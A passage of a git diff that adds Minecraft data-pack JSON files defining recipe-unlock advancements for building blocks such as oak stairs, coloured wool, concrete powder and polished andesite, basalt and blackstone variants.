b/src/data/minecraft/advancements/recipes/building_blocks/oak_stairs.json new file mode 100644 index 00000000..b226c6f3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/oak_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/oak_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/oak_wood.json new file mode 100644 index 00000000..05ca976e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/oak_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/orange_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/orange_concrete_powder.json new file mode 100644 index 00000000..746b535c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/orange_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/orange_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/orange_stained_glass.json new file mode 100644 index 00000000..dcb1d706 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/orange_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/orange_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/orange_terracotta.json new file mode 100644 index 00000000..f1019db9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/orange_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/orange_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/orange_wool.json new file mode 100644 index 00000000..794c7a20 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/orange_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/packed_ice.json b/src/data/minecraft/advancements/recipes/building_blocks/packed_ice.json new file mode 100644 index 00000000..88660a39 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/packed_ice.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:packed_ice" + ] + }, + "criteria": { + "has_ice": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ice" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:packed_ice" + } + } + }, + "requirements": [ + [ + "has_ice", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/pink_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/pink_concrete_powder.json new file mode 100644 index 00000000..51d19675 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/pink_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/pink_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/pink_stained_glass.json new file mode 100644 index 00000000..9abdd07b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/pink_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/pink_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/pink_terracotta.json new file mode 100644 index 00000000..76b701a8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/pink_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/pink_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/pink_wool.json new file mode 100644 index 00000000..456df170 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/pink_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite.json new file mode 100644 index 00000000..94173c5a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_from_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_from_andesite_stonecutting.json new file mode 100644 index 00000000..67b6c4cb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_from_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_from_andesite_stonecutting" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_from_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab.json new file mode 100644 index 00000000..6abb69c3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_slab" + ] + }, + "criteria": { + "has_polished_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_slab" + } + } + }, + "requirements": [ + [ + "has_polished_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab_from_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab_from_andesite_stonecutting.json new file mode 100644 index 00000000..16d26efe --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab_from_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_slab_from_andesite_stonecutting" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_slab_from_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab_from_polished_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab_from_polished_andesite_stonecutting.json new file mode 100644 index 00000000..46980ccc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_slab_from_polished_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_slab_from_polished_andesite_stonecutting" + ] + }, + "criteria": { + "has_polished_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_slab_from_polished_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs.json new file mode 100644 index 00000000..f98803dd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_stairs" + ] + }, + "criteria": { + "has_polished_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_stairs" + } + } + }, + "requirements": [ + [ + "has_polished_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs_from_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs_from_andesite_stonecutting.json new file mode 100644 index 00000000..1e0fc748 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs_from_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_stairs_from_andesite_stonecutting" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_stairs_from_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs_from_polished_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs_from_polished_andesite_stonecutting.json new file mode 100644 index 00000000..769ea897 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_andesite_stairs_from_polished_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_andesite_stairs_from_polished_andesite_stonecutting" + ] + }, + "criteria": { + "has_polished_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_andesite_stairs_from_polished_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_basalt.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_basalt.json new file mode 100644 index 00000000..ffef241f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_basalt.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_basalt" + ] + }, + "criteria": { + "has_basalt": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:basalt" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_basalt" + } + } + }, + "requirements": [ + [ + "has_basalt", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_basalt_from_basalt_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_basalt_from_basalt_stonecutting.json new file mode 100644 index 00000000..a898dc4e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_basalt_from_basalt_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_basalt_from_basalt_stonecutting" + ] + }, + "criteria": { + "has_basalt": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:basalt" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_basalt_from_basalt_stonecutting" + } + } + }, + "requirements": [ + [ + "has_basalt", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone.json new file mode 100644 index 00000000..89f49158 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab.json new file mode 100644 index 00000000..36b4fd20 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_slab" + ] + }, + "criteria": { + "has_polished_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_slab" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_blackstone_stonecutting.json new file mode 100644 index 00000000..c3b79262 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_slab_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_slab_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting.json new file mode 100644 index 00000000..71e8fe44 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..fc1d9ff5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_slab_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_slab_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_slab_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs.json new file mode 100644 index 00000000..a84dc9d0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_stairs" + ] + }, + "criteria": { + "has_polished_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_blackstone_stonecutting.json new file mode 100644 index 00000000..c6b3f460 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_stairs_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_stairs_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting.json new file mode 100644 index 00000000..30ba48cd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..76376ea2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks.json new file mode 100644 index 00000000..d1e1942c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_bricks" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_bricks" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks_from_blackstone_stonecutting.json new file mode 100644 index 00000000..af914c63 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_bricks_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_bricks_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..a9bd85e9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_bricks_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_bricks_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_bricks_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_from_blackstone_stonecutting.json new file mode 100644 index 00000000..15a84eb1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + 